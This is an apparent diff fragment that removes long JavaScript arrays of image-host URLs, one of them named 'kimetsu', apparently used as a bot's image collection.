-'https://img.nickpic.host/q4BOJQ.jpg',
-'https://img.nickpic.host/q4BCUN.jpg',
-'https://img.nickpic.host/q4BXvm.jpg',
-'https://img.nickpic.host/q4BQfO.jpg',
-'https://img.nickpic.host/q4BiE8.jpg',
-'https://img.nickpic.host/q4BRSD.jpg',
-'https://img.nickpic.host/q4Bn8q.jpg',
-'https://img.nickpic.host/q4B115.jpg',
-'https://img.nickpic.host/q4Btdd.jpg',
-'https://img.nickpic.host/q4B4JP.jpg',
-'https://img.nickpic.host/q4Bw3M.jpg',
-'https://img.nickpic.host/q4BzXF.jpg',
-'https://img.nickpic.host/q4BH8f.jpg',
-'https://img.nickpic.host/q4BKvX.jpg',
-'https://img.nickpic.host/q4BYOb.jpg',
-'https://img.nickpic.host/q4B7fe.jpg',
-'https://img.nickpic.host/q4Bfcp.jpg',
-'https://img.nickpic.host/q4BNy6.jpg',
-'https://img.nickpic.host/q4B01Y.jpg',
-'https://img.nickpic.host/q4B2LA.jpg',
-'https://img.nickpic.host/q4BkXz.jpg',
-'https://img.nickpic.host/q4BeFG.jpg',
-'https://img.nickpic.host/q4BJ0c.jpg',
-'https://img.nickpic.host/q4BPvW.jpg',
-'https://img.nickpic.host/q4bG4s.jpg',
-'https://img.nickpic.host/q4BTO1.jpg',
-'https://img.nickpic.host/q4BWKj.jpg',
-'https://img.nickpic.host/q4bIL2.jpg',
-'https://img.nickpic.host/q4BZyJ.jpg',
-'https://img.nickpic.host/q4Bycn.jpg',
-'https://img.nickpic.host/q4boFQ.jpg',
-'https://img.nickpic.host/q4bv0N.jpg',
-'https://img.nickpic.host/q4bpix.jpg',
-'https://img.nickpic.host/q4bBxO.jpg',
-'https://img.nickpic.host/q4bFcd.jpg',
-'https://img.nickpic.host/q4bbhm.jpg',
-'https://img.nickpic.host/q4brK8.jpg',
-'https://img.nickpic.host/q4b3Gq.jpg',
-'https://img.nickpic.host/q4ba4D.jpg',
-'https://img.nickpic.host/q4bjP5.jpg',
-'https://img.nickpic.host/q4b5FP.jpg',
-'https://img.nickpic.host/q4bSiM.jpg',
-'https://img.nickpic.host/q4bqxe.jpg',
-'https://img.nickpic.host/q4bc2F.jpg',
-'https://img.nickpic.host/q4bAYb.jpg',
-'https://img.nickpic.host/q4buhX.jpg',
-'https://img.nickpic.host/q4bhg6.jpg',
-'https://img.nickpic.host/q4b6Dp.jpg',
-'https://img.nickpic.host/q4bOGf.jpg',
-'https://img.nickpic.host/q4bi2z.jpg',
-'https://img.nickpic.host/q4bCPY.jpg',
-'https://img.nickpic.host/q4bXnG.jpg',
-'https://img.nickpic.host/q4bUaA.jpg',
-'https://img.nickpic.host/q4btBc.jpg',
-'https://img.nickpic.host/q4bMhW.jpg',
-'https://img.nickpic.host/q4b4Ij.jpg',
-'https://img.nickpic.host/q4bRY1.jpg',
-'https://img.nickpic.host/q4bDgJ.jpg',
-'https://img.nickpic.host/q4bwDn.jpg',
-'https://img.nickpic.host/q4bzTs.jpg',
-'https://img.nickpic.host/q4bKnQ.jpg',
-'https://img.nickpic.host/q4b8a2.jpg',
-'https://img.nickpic.host/q4bfHm.jpg',
-'https://img.nickpic.host/q4bY9x.jpg',
-'https://img.nickpic.host/q4bNBN.jpg',
-'https://img.nickpic.host/q4bV6O.jpg',
-'https://img.nickpic.host/q4b9qq.jpg',
-'https://img.nickpic.host/q4b2I8.jpg',
-'https://img.nickpic.host/q4beDd.jpg',
-'https://img.nickpic.host/q4bkTD.jpg',
-'https://img.nickpic.host/q4bLj5.jpg',
-'https://img.nickpic.host/q4bPnP.jpg',
-'https://img.nickpic.host/q4bT9M.jpg',
-'https://img.nickpic.host/q4bZbF.jpg',
-'https://img.nickpic.host/q4bd6e.jpg',
-'https://img.nickpic.host/q4row6.jpg',
-'https://img.nickpic.host/q4byHX.jpg',
-'https://img.nickpic.host/q4rmqf.jpg',
-'https://img.nickpic.host/q4rImb.jpg',
-'https://img.nickpic.host/q4rpWp.jpg',
-'https://img.nickpic.host/q4rxjY.jpg',
-'https://img.nickpic.host/q4rBtA.jpg',
-'https://img.nickpic.host/q4rbeG.jpg',
-'https://img.nickpic.host/q4rsbz.jpg',
-'https://img.nickpic.host/q4rluj.jpg',
-'https://img.nickpic.host/q4r3Cc.jpg',
-'https://img.nickpic.host/q4rjm1.jpg',
-'https://img.nickpic.host/q4rFHW.jpg',
-'https://img.nickpic.host/q4r5wJ.jpg',
-'https://img.nickpic.host/q4rgls.jpg',
-'https://img.nickpic.host/q4rSWn.jpg',
-'https://img.nickpic.host/q4rqt2.jpg',
-'https://img.nickpic.host/q4rOCN.jpg',
-'https://img.nickpic.host/q4rueQ.jpg',
-'https://img.nickpic.host/q4rErx.jpg',
-'https://img.nickpic.host/q4rhNO.jpg',
-'https://img.nickpic.host/q4rCom.jpg',
-'https://img.nickpic.host/q4rUzq.jpg',
-'https://img.nickpic.host/q4rQu8.jpg',
-'https://img.nickpic.host/q4rMeP.jpg',
-'https://img.nickpic.host/q4r1rM.jpg',
-'https://img.nickpic.host/q4rXWd.jpg',
-'https://img.nickpic.host/q4rtM5.jpg',
-'https://img.nickpic.host/q4rnlD.jpg',
-'https://img.nickpic.host/q4r4QF.jpg',
-'https://img.nickpic.host/q4rDNe.jpg',
-'https://img.nickpic.host/q4r7Ab.jpg',
-'https://img.nickpic.host/q4r8zf.jpg',
-'https://img.nickpic.host/q4rKZ6.jpg',
-'https://img.nickpic.host/q4rzoX.jpg',
-'https://img.nickpic.host/q4rH5p.jpg',
-'https://img.nickpic.host/q4rNMY.jpg',
-'https://img.nickpic.host/q4rVkA.jpg',
-'https://img.nickpic.host/q4r0sG.jpg',
-'https://img.nickpic.host/q4r2Qz.jpg',
-'https://img.nickpic.host/q4r9Vc.jpg',
-'https://img.nickpic.host/q4rkoW.jpg',
-'https://img.nickpic.host/q4rJA1.jpg',
-'https://img.nickpic.host/q4rL7j.jpg',
-'https://img.nickpic.host/q4rPZJ.jpg',
-'https://img.nickpic.host/q4rW5n.jpg',
-'https://img.nickpic.host/q4rZRs.jpg',
-'https://img.nickpic.host/q4sGsQ.jpg',
-'https://img.nickpic.host/q4rdk2.jpg',
-'https://img.nickpic.host/q4sIUx.jpg',
-'https://img.nickpic.host/q4smVN.jpg',
-'https://img.nickpic.host/q4sBdq.jpg',
-'https://img.nickpic.host/q4sppO.jpg',
-'https://img.nickpic.host/q4sx78.jpg',
-'https://img.nickpic.host/q4svEm.jpg',
-'https://img.nickpic.host/q4sr5d.jpg',
-'https://img.nickpic.host/q4ssRD.jpg',
-'https://img.nickpic.host/q4s3J5.jpg',
-'https://img.nickpic.host/q4sasP.jpg',
-'https://img.nickpic.host/q4sjUM.jpg',
-'https://img.nickpic.host/q4sSpe.jpg',
-'https://img.nickpic.host/q4slfF.jpg',
-'https://img.nickpic.host/q4sAS6.jpg',
-'https://img.nickpic.host/q4scEX.jpg',
-'https://img.nickpic.host/q4sg8b.jpg',
-'https://img.nickpic.host/q4sqdf.jpg',
-'https://img.nickpic.host/q4sOJY.jpg',
-'https://img.nickpic.host/q4sE1p.jpg',
-'https://img.nickpic.host/q4s63A.jpg',
-'https://img.nickpic.host/q4sCXG.jpg',
-'https://img.nickpic.host/q4sQfz.jpg',
-'https://img.nickpic.host/q4sXvc.jpg',
-'https://img.nickpic.host/q4sn81.jpg',
-'https://img.nickpic.host/q4styj.jpg',
-'https://img.nickpic.host/q4siEW.jpg',
-'https://img.nickpic.host/q4sRSJ.jpg',
-'https://img.nickpic.host/q4s11n.jpg',
-'https://img.nickpic.host/q4sw32.jpg',
-'https://img.nickpic.host/q4s4Ls.jpg',
-'https://img.nickpic.host/q4szXQ.jpg',
-'https://img.nickpic.host/q4s70x.jpg',
-'https://img.nickpic.host/q4sKvN.jpg',
-'https://img.nickpic.host/q4sYOO.jpg',
-'https://img.nickpic.host/q4sHKm.jpg',
-'https://img.nickpic.host/q4s2LD.jpg',
-'https://img.nickpic.host/q4sfcq.jpg',
-'https://img.nickpic.host/q4sNy8.jpg',
-'https://img.nickpic.host/q4seF5.jpg',
-'https://img.nickpic.host/q4s01d.jpg',
-'https://img.nickpic.host/q4sJ0M.jpg',
-'https://img.nickpic.host/q4skXP.jpg',
-'https://img.nickpic.host/q4sPxF.jpg',
-'https://img.nickpic.host/q4sTOe.jpg',
-'https://img.nickpic.host/q4sdGb.jpg',
-'https://img.nickpic.host/q4sWKX.jpg',
-'https://img.nickpic.host/q4sycf.jpg',
-'https://img.nickpic.host/q43IPp.jpg',
-'https://img.nickpic.host/q43G46.jpg',
-'https://img.nickpic.host/q43oFY.jpg',
-'https://img.nickpic.host/q43bhc.jpg',
-'https://img.nickpic.host/q43v2G.jpg',
-'https://img.nickpic.host/q43piA.jpg',
-'https://img.nickpic.host/q43Bxz.jpg',
-'https://img.nickpic.host/q43rKW.jpg',
-'https://img.nickpic.host/q43Fgj.jpg',
-'https://img.nickpic.host/q433G1.jpg',
-'https://img.nickpic.host/q43a4J.jpg',
-'https://img.nickpic.host/q43jPn.jpg',
-'https://img.nickpic.host/q435as.jpg',
-'https://img.nickpic.host/q43uhN.jpg',
-'https://img.nickpic.host/q43Si2.jpg',
-'https://img.nickpic.host/q43qBx.jpg',
-'https://img.nickpic.host/q43c2Q.jpg',
-'https://img.nickpic.host/q43AYO.jpg',
-'https://img.nickpic.host/q43OIm.jpg',
-'https://img.nickpic.host/q43hg8.jpg',
-'https://img.nickpic.host/q436Dq.jpg',
-'https://img.nickpic.host/q43CPd.jpg',
-'https://img.nickpic.host/q43M6F.jpg',
-'https://img.nickpic.host/q43UaD.jpg',
-'https://img.nickpic.host/q43RYe.jpg',
-'https://img.nickpic.host/q43Xn5.jpg',
-'https://img.nickpic.host/q43tBM.jpg',
-'https://img.nickpic.host/q434IX.jpg',
-'https://img.nickpic.host/q43Dqb.jpg',
-'https://img.nickpic.host/q43wDf.jpg',
-'https://img.nickpic.host/q43zT6.jpg',
-'https://img.nickpic.host/q43KnY.jpg',
-'https://img.nickpic.host/q438jp.jpg',
-'https://img.nickpic.host/q43Y9A.jpg',
-'https://img.nickpic.host/q43V6z.jpg',
-'https://img.nickpic.host/q43fHc.jpg',
-'https://img.nickpic.host/q43NbG.jpg',
-'https://img.nickpic.host/q432IW.jpg',
-'https://img.nickpic.host/q439q1.jpg',
-'https://img.nickpic.host/q43ewj.jpg',
-'https://img.nickpic.host/q43kTJ.jpg',
-'https://img.nickpic.host/q43Ljn.jpg',
-'https://img.nickpic.host/q43Pts.jpg',
-'https://img.nickpic.host/q43T92.jpg',
-'https://img.nickpic.host/q43dCx.jpg',
-'https://img.nickpic.host/q43ZbQ.jpg',
-'https://img.nickpic.host/q43yHN.jpg',
-'https://img.nickpic.host/q4FImO.jpg',
-'https://img.nickpic.host/q4FpWq.jpg',
-'https://img.nickpic.host/q4Fmum.jpg',
-'https://img.nickpic.host/q4Fow8.jpg',
-'https://img.nickpic.host/q4Fxjd.jpg',
-'https://img.nickpic.host/q4FBtD.jpg',
-'https://img.nickpic.host/q4Fbe5.jpg',
-'https://img.nickpic.host/q4FsbP.jpg',
-'https://img.nickpic.host/q4F3CM.jpg',
-'https://img.nickpic.host/q4Fjme.jpg',
-'https://img.nickpic.host/q4FFNF.jpg',
-'https://img.nickpic.host/q4FSWf.jpg',
-'https://img.nickpic.host/q4F5zb.jpg',
-'https://img.nickpic.host/q4FluX.jpg',
-'https://img.nickpic.host/q4FqMp.jpg',
-'https://img.nickpic.host/q4Fgl6.jpg',
-'https://img.nickpic.host/q4FErA.jpg',
-'https://img.nickpic.host/q4FueY.jpg',
-'https://img.nickpic.host/q4FOQG.jpg',
-'https://img.nickpic.host/q4FCoc.jpg',
-'https://img.nickpic.host/q4FhNz.jpg',
-'https://img.nickpic.host/q4FQuW.jpg',
-'https://img.nickpic.host/q4FUz1.jpg',
-'https://img.nickpic.host/q4FXZj.jpg',
-'https://img.nickpic.host/q4FnlJ.jpg',
-'https://img.nickpic.host/q4FMks.jpg',
-'https://img.nickpic.host/q4FtMn.jpg',
-'https://img.nickpic.host/q4F4QQ.jpg',
-'https://img.nickpic.host/q4F1r2.jpg',
-'https://img.nickpic.host/q4FDVx.jpg',
-'https://img.nickpic.host/q4FzoN.jpg',
-'https://img.nickpic.host/q4F7AO.jpg',
-'https://img.nickpic.host/q4FKZ8.jpg',
-'https://img.nickpic.host/q4F87m.jpg',
-'https://img.nickpic.host/q4FH5q.jpg',
-'https://img.nickpic.host/q4FNMd.jpg',
-'https://img.nickpic.host/q4F0s5.jpg',
-'https://img.nickpic.host/q4FVkD.jpg',
-'https://img.nickpic.host/q4F2QP.jpg',
-'https://img.nickpic.host/q4F9VM.jpg',
-'https://img.nickpic.host/q4FPdb.jpg',
-'https://img.nickpic.host/q4FJAe.jpg',
-'https://img.nickpic.host/q4FkpF.jpg',
-'https://img.nickpic.host/q4FL7X.jpg',
-'https://img.nickpic.host/q4FW5f.jpg',
-'https://img.nickpic.host/q4FdJp.jpg',
-'https://img.nickpic.host/q4FZR6.jpg',
-'https://img.nickpic.host/q4aIUA.jpg',
-'https://img.nickpic.host/q4aGsY.jpg',
-'https://img.nickpic.host/q4avEc.jpg',
-'https://img.nickpic.host/q4amfG.jpg',
-'https://img.nickpic.host/q4appz.jpg',
-'https://img.nickpic.host/q4ax7W.jpg',
-'https://img.nickpic.host/q4arSj.jpg',
-'https://img.nickpic.host/q4asRJ.jpg',
-'https://img.nickpic.host/q4aBd1.jpg',
-'https://img.nickpic.host/q4a3Jn.jpg',
-'https://img.nickpic.host/q4aa3s.jpg',
-'https://img.nickpic.host/q4ajU2.jpg',
-'https://img.nickpic.host/q4alfQ.jpg',
-'https://img.nickpic.host/q4acEN.jpg',
-'https://img.nickpic.host/q4aE1q.jpg',
-'https://img.nickpic.host/q4aqym.jpg',
-'https://img.nickpic.host/q4aAS8.jpg',
-'https://img.nickpic.host/q4aOJd.jpg',
-'https://img.nickpic.host/q4aCX5.jpg',
-'https://img.nickpic.host/q4a63D.jpg',
-'https://img.nickpic.host/q4aQfP.jpg',
-'https://img.nickpic.host/q4aXvM.jpg',
-'https://img.nickpic.host/q4an8e.jpg',
-'https://img.nickpic.host/q4aiOF.jpg',
-'https://img.nickpic.host/q4atyX.jpg',
-'https://img.nickpic.host/q4a11f.jpg',
-'https://img.nickpic.host/q4aRcb.jpg',
-'https://img.nickpic.host/q4a4L6.jpg',
-'https://img.nickpic.host/q4awFp.jpg',
-'https://img.nickpic.host/q4azXY.jpg',
-'https://img.nickpic.host/q4aYOz.jpg',
-'https://img.nickpic.host/q4a70A.jpg',
-'https://img.nickpic.host/q4aKxG.jpg',
-'https://img.nickpic.host/q4aHKc.jpg',
-'https://img.nickpic.host/q4afc1.jpg',
-'https://img.nickpic.host/q4a04j.jpg',
-'https://img.nickpic.host/q4aNyW.jpg',
-'https://img.nickpic.host/q4a2LJ.jpg',
-'https://img.nickpic.host/q4aeFn.jpg',
-'https://img.nickpic.host/q4akis.jpg',
-'https://img.nickpic.host/q4aJ02.jpg',
-'https://img.nickpic.host/q4aWKN.jpg',
-'https://img.nickpic.host/q4aThx.jpg',
-'https://img.nickpic.host/q4aPxQ.jpg',
-'https://img.nickpic.host/q4adGO.jpg',
-'https://img.nickpic.host/q4jG48.jpg',
-'https://img.nickpic.host/q4aygm.jpg',
-'https://img.nickpic.host/q4jIPq.jpg',
-'https://img.nickpic.host/q4joFd.jpg',
-'https://img.nickpic.host/q4jpiD.jpg',
-'https://img.nickpic.host/q4jBxP.jpg',
-'https://img.nickpic.host/q4jv25.jpg',
-'https://img.nickpic.host/q4jbhM.jpg',
-'https://img.nickpic.host/q4jrYF.jpg',
-'https://img.nickpic.host/q4jFgX.jpg',
-'https://img.nickpic.host/q4jaDb.jpg',
-'https://img.nickpic.host/q4j3Ge.jpg',
-'https://img.nickpic.host/q4jjPf.jpg',
-'https://img.nickpic.host/q4j5a6.jpg',
-'https://img.nickpic.host/q4jSnp.jpg',
-'https://img.nickpic.host/q4jc2Y.jpg',
-'https://img.nickpic.host/q4jqBA.jpg',
-'https://img.nickpic.host/q4ju6G.jpg',
-'https://img.nickpic.host/q4jAYz.jpg',
-'https://img.nickpic.host/q4jOIc.jpg',
-'https://img.nickpic.host/q4j6D1.jpg',
-'https://img.nickpic.host/q4jhgW.jpg',
-'https://img.nickpic.host/q4jCTj.jpg',
-'https://img.nickpic.host/q4jUaJ.jpg',
-'https://img.nickpic.host/q4jXnn.jpg',
-'https://img.nickpic.host/q4ji9s.jpg',
-'https://img.nickpic.host/q4jtB2.jpg',
-'https://img.nickpic.host/q4jRHx.jpg',
-'https://img.nickpic.host/q4jM6Q.jpg',
-'https://img.nickpic.host/q4j4IN.jpg',
-'https://img.nickpic.host/q4jDqO.jpg',
-'https://img.nickpic.host/q4jwwm.jpg',
-'https://img.nickpic.host/q4j8jq.jpg',
-'https://img.nickpic.host/q4jzT8.jpg',
-'https://img.nickpic.host/q4jKnd.jpg',
-'https://img.nickpic.host/q4jY9D.jpg',
-'https://img.nickpic.host/q4jNb5.jpg',
-'https://img.nickpic.host/q4jV6P.jpg',
-'https://img.nickpic.host/q4jfHM.jpg',
-'https://img.nickpic.host/q4j2mF.jpg',
-'https://img.nickpic.host/q4j9qe.jpg',
-'https://img.nickpic.host/q4jewX.jpg',
-'https://img.nickpic.host/q4jLjf.jpg',
-'https://img.nickpic.host/q4jkWb.jpg',
-'https://img.nickpic.host/q4jPt6.jpg',
-'https://img.nickpic.host/q4jTep.jpg',
-'https://img.nickpic.host/q4jZbY.jpg',
-'https://img.nickpic.host/q4jyNG.jpg',
-'https://img.nickpic.host/q4jdCA.jpg',
-'https://img.nickpic.host/q4lImz.jpg',
-'https://img.nickpic.host/q4lmuc.jpg',
-'https://img.nickpic.host/q4lpW1.jpg',
-'https://img.nickpic.host/q4lxlj.jpg',
-'https://img.nickpic.host/q4lowW.jpg',
-'https://img.nickpic.host/q4lBtJ.jpg',
-'https://img.nickpic.host/q4lben.jpg',
-'https://img.nickpic.host/q4lsrs.jpg',
-'https://img.nickpic.host/q4l3C2.jpg',
-'https://img.nickpic.host/q4lFNQ.jpg',
-'https://img.nickpic.host/q4ljox.jpg',
-'https://img.nickpic.host/q4lluN.jpg',
-'https://img.nickpic.host/q4l5zO.jpg',
-'https://img.nickpic.host/q4lSZm.jpg',
-'https://img.nickpic.host/q4lgl8.jpg',
-'https://img.nickpic.host/q4lqMq.jpg',
-'https://img.nickpic.host/q4lued.jpg',
-'https://img.nickpic.host/q4lErD.jpg',
-'https://img.nickpic.host/q4lOQ5.jpg',
-'https://img.nickpic.host/q4lhNP.jpg',
-'https://img.nickpic.host/q4lCoM.jpg',
-'https://img.nickpic.host/q4lQAF.jpg',
-'https://img.nickpic.host/q4lUze.jpg',
-'https://img.nickpic.host/q4lXZX.jpg',
-'https://img.nickpic.host/q4ln5b.jpg',
-'https://img.nickpic.host/q4ltMf.jpg',
-'https://img.nickpic.host/q4lMk6.jpg',
-'https://img.nickpic.host/q4l1sp.jpg',
-'https://img.nickpic.host/q4l4QY.jpg',
-'https://img.nickpic.host/q4lDVA.jpg',
-'https://img.nickpic.host/q4lzpG.jpg',
-'https://img.nickpic.host/q4l7Az.jpg',
-'https://img.nickpic.host/q4l87c.jpg',
-'https://img.nickpic.host/q4lKZW.jpg',
-'https://img.nickpic.host/q4lH51.jpg',
-'https://img.nickpic.host/q4lNRj.jpg',
-'https://img.nickpic.host/q4lVkJ.jpg',
-'https://img.nickpic.host/q4l0sn.jpg',
-'https://img.nickpic.host/q4l2Us.jpg',
-'https://img.nickpic.host/q4l9V2.jpg',
-'https://img.nickpic.host/q4lkpQ.jpg',
-'https://img.nickpic.host/q4lJEx.jpg',
-'https://img.nickpic.host/q4lPdO.jpg',
-'https://img.nickpic.host/q4lWSm.jpg',
-'https://img.nickpic.host/q4lZR8.jpg',
-'https://img.nickpic.host/q4ldJq.jpg',
-'https://img.nickpic.host/q45Gsd.jpg',
-'https://img.nickpic.host/q45ppP.jpg',
-'https://img.nickpic.host/q45IUD.jpg',
-'https://img.nickpic.host/q45mf5.jpg',
-'https://img.nickpic.host/q45vEM.jpg',
-'https://img.nickpic.host/q45x8F.jpg',
-'https://img.nickpic.host/q45Bde.jpg',
-'https://img.nickpic.host/q45rSX.jpg',
-'https://img.nickpic.host/q45s1b.jpg',
-'https://img.nickpic.host/q453Jf.jpg',
-'https://img.nickpic.host/q45a36.jpg',
-'https://img.nickpic.host/q45jXp.jpg',
-'https://img.nickpic.host/q45cOG.jpg',
-'https://img.nickpic.host/q45lfY.jpg',
-'https://img.nickpic.host/q45SvA.jpg',
-'https://img.nickpic.host/q45g8z.jpg',
-'https://img.nickpic.host/q45qyc.jpg',
-'https://img.nickpic.host/q45E11.jpg',
-'https://img.nickpic.host/q45ASW.jpg',
-'https://img.nickpic.host/q45OLj.jpg',
-'https://img.nickpic.host/q4563J.jpg',
-'https://img.nickpic.host/q45Xv2.jpg',
-'https://img.nickpic.host/q45Q0s.jpg',
-'https://img.nickpic.host/q45CXn.jpg',
-'https://img.nickpic.host/q45nKx.jpg',
-'https://img.nickpic.host/q45iOQ.jpg',
-'https://img.nickpic.host/q45tyN.jpg',
-'https://img.nickpic.host/q45RcO.jpg',
-'https://img.nickpic.host/q454L8.jpg',
-'https://img.nickpic.host/q4514m.jpg',
-'https://img.nickpic.host/q4570D.jpg',
-'https://img.nickpic.host/q45zXd.jpg',
-'https://img.nickpic.host/q45wFq.jpg',
-'https://img.nickpic.host/q45VGF.jpg',
-'https://img.nickpic.host/q45Kx5.jpg',
-'https://img.nickpic.host/q45HKM.jpg',
-'https://img.nickpic.host/q45YOP.jpg',
-'https://img.nickpic.host/q45fce.jpg',
-'https://img.nickpic.host/q452Pb.jpg',
-'https://img.nickpic.host/q4504X.jpg',
-'https://img.nickpic.host/q45eFf.jpg',
-'https://img.nickpic.host/q45ki6.jpg',
-'https://img.nickpic.host/q45J2p.jpg',
-'https://img.nickpic.host/q45ThA.jpg',
-'https://img.nickpic.host/q45PxY.jpg',
-'https://img.nickpic.host/q45dGz.jpg',
-'https://img.nickpic.host/q45WYG.jpg',
-'https://img.nickpic.host/q45ygc.jpg',
-'https://img.nickpic.host/q4SIP1.jpg',
-'https://img.nickpic.host/q4SG4W.jpg',
-'https://img.nickpic.host/q4Soaj.jpg',
-'https://img.nickpic.host/q4SpiJ.jpg']
-
-
-global.kimetsu = ['https://img.nickpic.host/q8bqdO.jpg',
-'https://img.nickpic.host/q8bg7N.jpg',
-'https://img.nickpic.host/q8bSpQ.jpg',
-'https://img.nickpic.host/q8bcEx.jpg',
-'https://img.nickpic.host/q8bjUs.jpg',
-'https://img.nickpic.host/q8basn.jpg',
-'https://img.nickpic.host/q8blV2.jpg',
-'https://img.nickpic.host/q8b3kJ.jpg',
-'https://img.nickpic.host/q8bsRj.jpg',
-'https://img.nickpic.host/q8br51.jpg',
-'https://img.nickpic.host/q8bASm.jpg',
-'https://img.nickpic.host/q8bOJq.jpg',
-'https://img.nickpic.host/q8bER8.jpg',
-'https://img.nickpic.host/q8b6sd.jpg',
-'https://img.nickpic.host/q8bQf5.jpg',
-'https://img.nickpic.host/q8bCUD.jpg',
-'https://img.nickpic.host/q8bXpP.jpg',
-'https://img.nickpic.host/q8biEM.jpg',
-'https://img.nickpic.host/q8bn8F.jpg',
-'https://img.nickpic.host/q8btde.jpg',
-'https://img.nickpic.host/q8bYOG.jpg',
-'https://img.nickpic.host/q8bRSX.jpg',
-'https://img.nickpic.host/q8b11b.jpg',
-'https://img.nickpic.host/q8b4Jf.jpg',
-'https://img.nickpic.host/q8bw36.jpg',
-'https://img.nickpic.host/q8bzXp.jpg',
-'https://img.nickpic.host/q8bKvA.jpg',
-'https://img.nickpic.host/q8b7fY.jpg',
-'https://img.nickpic.host/q8bH8z.jpg',
-'https://img.nickpic.host/q8bNyc.jpg',
-'https://img.nickpic.host/q8bfSW.jpg',
-'https://img.nickpic.host/q8b011.jpg',
-'https://img.nickpic.host/q8bZyN.jpg',
-'https://img.nickpic.host/q8b2Lj.jpg',
-'https://img.nickpic.host/q8be3J.jpg',
-'https://img.nickpic.host/q8bkXn.jpg',
-'https://img.nickpic.host/q8bJ0s.jpg',
-'https://img.nickpic.host/q8bPv2.jpg',
-'https://img.nickpic.host/q8bWKx.jpg',
-'https://img.nickpic.host/q8bTOQ.jpg',
-'https://img.nickpic.host/q8bycO.jpg',
-'https://img.nickpic.host/q8rG4m.jpg',
-'https://img.nickpic.host/q8rIL8.jpg',
-'https://img.nickpic.host/q8roFq.jpg',
-'https://img.nickpic.host/q8rpXd.jpg',
-'https://img.nickpic.host/q8rv0D.jpg',
-'https://img.nickpic.host/q8rBx5.jpg',
-'https://img.nickpic.host/q8rbOP.jpg',
-'https://img.nickpic.host/q8r3GF.jpg',
-'https://img.nickpic.host/q8r5Ff.jpg',
-'https://img.nickpic.host/q8rFce.jpg',
-'https://img.nickpic.host/q8ra4X.jpg',
-'https://img.nickpic.host/q8rjPb.jpg',
-'https://img.nickpic.host/q8rSi6.jpg',
-'https://img.nickpic.host/q8rqxY.jpg',
-'https://img.nickpic.host/q8rc2p.jpg',
-'https://img.nickpic.host/q8ruhA.jpg',
-'https://img.nickpic.host/q8rOGz.jpg',
-'https://img.nickpic.host/q8rhgc.jpg',
-'https://img.nickpic.host/q8r64W.jpg',
-'https://img.nickpic.host/q8rXiJ.jpg',
-'https://img.nickpic.host/q8rCP1.jpg',
-'https://img.nickpic.host/q8ri2n.jpg',
-'https://img.nickpic.host/q8rUaj.jpg',
-'https://img.nickpic.host/q8rRYQ.jpg',
-'https://img.nickpic.host/q8rtBs.jpg',
-'https://img.nickpic.host/q8rMh2.jpg',
-'https://img.nickpic.host/q8r4Ix.jpg',
-'https://img.nickpic.host/q8r8a8.jpg',
-'https://img.nickpic.host/q8rwDO.jpg',
-'https://img.nickpic.host/q8rDgN.jpg',
-'https://img.nickpic.host/q8rKnq.jpg',
-'https://img.nickpic.host/q8rzTm.jpg',
-'https://img.nickpic.host/q8r2IM.jpg',
-'https://img.nickpic.host/q8rY2d.jpg',
-'https://img.nickpic.host/q8rfYP.jpg',
-'https://img.nickpic.host/q8rNBD.jpg',
-'https://img.nickpic.host/q8rV65.jpg',
-'https://img.nickpic.host/q8r9qF.jpg',
-'https://img.nickpic.host/q8reDe.jpg',
-'https://img.nickpic.host/q8rPnf.jpg',
-'https://img.nickpic.host/q8rkTX.jpg',
-'https://img.nickpic.host/q8rLjb.jpg',
-'https://img.nickpic.host/q8rT96.jpg',
-'https://img.nickpic.host/q8rZbp.jpg',
-'https://img.nickpic.host/q8ryHA.jpg',
-'https://img.nickpic.host/q8rd6Y.jpg',
-'https://img.nickpic.host/q8sImG.jpg',
-'https://img.nickpic.host/q8sowc.jpg',
-'https://img.nickpic.host/q8smqz.jpg',
-'https://img.nickpic.host/q8sxj1.jpg',
-'https://img.nickpic.host/q8spTW.jpg',
-'https://img.nickpic.host/q8sBtj.jpg',
-'https://img.nickpic.host/q8sb9J.jpg',
-'https://img.nickpic.host/q8ssbn.jpg',
-'https://img.nickpic.host/q8sFH2.jpg',
-'https://img.nickpic.host/q8s3Cs.jpg',
-'https://img.nickpic.host/q8sjmQ.jpg',
-'https://img.nickpic.host/q8slux.jpg',
-'https://img.nickpic.host/q8s5wN.jpg',
-'https://img.nickpic.host/q8sSWO.jpg',
-'https://img.nickpic.host/q8sglm.jpg',
-'https://img.nickpic.host/q8sqt8.jpg',
-'https://img.nickpic.host/q8sueq.jpg',
-'https://img.nickpic.host/q8sEbd.jpg',
-'https://img.nickpic.host/q8sOCD.jpg',
-'https://img.nickpic.host/q8shN5.jpg',
-'https://img.nickpic.host/q8sCmP.jpg',
-'https://img.nickpic.host/q8sQuM.jpg',
-'https://img.nickpic.host/q8sUzF.jpg',
-'https://img.nickpic.host/q8snlX.jpg',
-'https://img.nickpic.host/q8sXWe.jpg',
-'https://img.nickpic.host/q8stMb.jpg',
-'https://img.nickpic.host/q8s1r6.jpg',
-'https://img.nickpic.host/q8sMef.jpg',
-'https://img.nickpic.host/q8s4Qp.jpg',
-'https://img.nickpic.host/q8sDNY.jpg',
-'https://img.nickpic.host/q8szoA.jpg',
-'https://img.nickpic.host/q8s7AG.jpg',
-'https://img.nickpic.host/q8s8zz.jpg',
-'https://img.nickpic.host/q8sKZc.jpg',
-'https://img.nickpic.host/q8sHlW.jpg',
-'https://img.nickpic.host/q8sNM1.jpg',
-'https://img.nickpic.host/q8sVkj.jpg',
-'https://img.nickpic.host/q8s0rJ.jpg',
-'https://img.nickpic.host/q8s2Qn.jpg',
-'https://img.nickpic.host/q8s9Vs.jpg',
-'https://img.nickpic.host/q8sko2.jpg',
-'https://img.nickpic.host/q8sJAQ.jpg',
-'https://img.nickpic.host/q8sL7x.jpg',
-'https://img.nickpic.host/q8sPZN.jpg',
-'https://img.nickpic.host/q8sW5O.jpg',
-'https://img.nickpic.host/q8sdk8.jpg',
-'https://img.nickpic.host/q8sZRm.jpg',
-'https://img.nickpic.host/q83pp5.jpg',
-'https://img.nickpic.host/q83IQd.jpg',
-'https://img.nickpic.host/q83x7M.jpg',
-'https://img.nickpic.host/q83mVD.jpg',
-'https://img.nickpic.host/q83vAP.jpg',
-'https://img.nickpic.host/q83r5e.jpg',
-'https://img.nickpic.host/q83BdF.jpg',
-'https://img.nickpic.host/q833Jb.jpg',
-'https://img.nickpic.host/q83sRX.jpg',
-'https://img.nickpic.host/q83lfp.jpg',
-'https://img.nickpic.host/q83asf.jpg',
-'https://img.nickpic.host/q83jU6.jpg',
-'https://img.nickpic.host/q83SpY.jpg',
-'https://img.nickpic.host/q83g8G.jpg',
-'https://img.nickpic.host/q83cEA.jpg',
